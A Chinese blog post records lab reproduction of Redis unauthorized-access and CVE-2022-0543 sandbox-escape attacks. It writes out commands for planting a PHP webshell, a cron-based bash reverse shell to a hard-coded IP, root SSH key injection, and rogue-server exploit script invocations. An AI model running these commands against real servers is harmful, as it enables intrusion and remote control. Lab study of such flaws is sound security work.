• Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)


    Redis未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

    环境复现

    采用Vulfocus靶场进行环境复现,官网docker搭建有问题,具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败

    CNVD-2015-07557未授权访问

    影响版本

    Redis <= 5.0.5

    漏洞探测

    使用端口扫描工具等探测到目标主机使用了Redis服务
    对于Redis服务的未授权访问,首先需要确认Redis未授权是否存在,使用Redis数据库客户端进行连接测试,如何没有密码,即未授权漏洞存在。
    客户端连接工具Another Redis Desktop Manager
    具体表现如下
    在这里插入图片描述

    漏洞利用

    漏洞利用有三种利用方式,每种方式都有限制条件,本质就是使用Redis数据库操作语句在目标主机进行写入文件。

    • 写入Webshell
      利用条件:Web目录权限可读写
    config set dir /tmp            #设置WEB写入目录
    config set dbfilename 1.php    #设置写入文件名
    set test ""  #设置写入文件代码
    bgsave                         #保存执行
    save                           #保存执行

    注意:部分没目录权限读写权限

    • 写定时任务反弹shell
      利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,centos会忽略乱码去执行格式正确的任务计划 ,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
    config set dir /var/spool/cron
    set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
    config set dbfilename x
    save
    • 写入ssh-key公钥
      利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
      允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
    cd /root/.ssh/
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 目标IP -x set xxx
    //以上步骤在自己的攻击机器上执行
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save
    cd /root/.ssh/
    ssh -i id_rsa root@目标IP

    详细利用步骤可参考Redis未授权访问漏洞复现与利用

    python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

    该脚本需要运行在VPS上,脚本运行后,目标主机会向攻击机回传信息。

    CNVD-2019-21763 未授权访问

    影响版本

    Redis 2.x,3.x,4.x,5.x
    由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行

    漏洞利用

    • 自动化脚本
      同上

    沙箱绕过CVE-2022-0543

    影响版本

    Debian 系的 Linux 发行版本 + Ubuntu

    CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

    漏洞利用

    python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

    以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。


    __EOF__

  • 本文作者: 了了青山见
  • 本文链接: https://www.cnblogs.com/Pengj/p/17718805.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    web前端期末大作业:JavaScript大作业——福五鼠动漫网页制作(6页)带轮播图效果 学生个人单页面网页作业 学生网页设计成品 静态HTML网页单页制作
    使用pfx文件的接口调用
    B2901A 是德科技keysight精密型电源
    Spring 如何集成Log4J呢?
    Python 学习 Day 36
    【Github】git本地仓库建立与远程连接
    排序之快速排序
    【Redis】redis的特性和使用场景
    使用 SAP UI5 ABAP Repository 部署本地 SAP UI5 应用到 ABAP 服务器的单步调试
    OpenAI 推出革命性新模型 GPT-4o:全能AI的新纪元
  • 原文地址:https://www.cnblogs.com/Pengj/p/17718805.html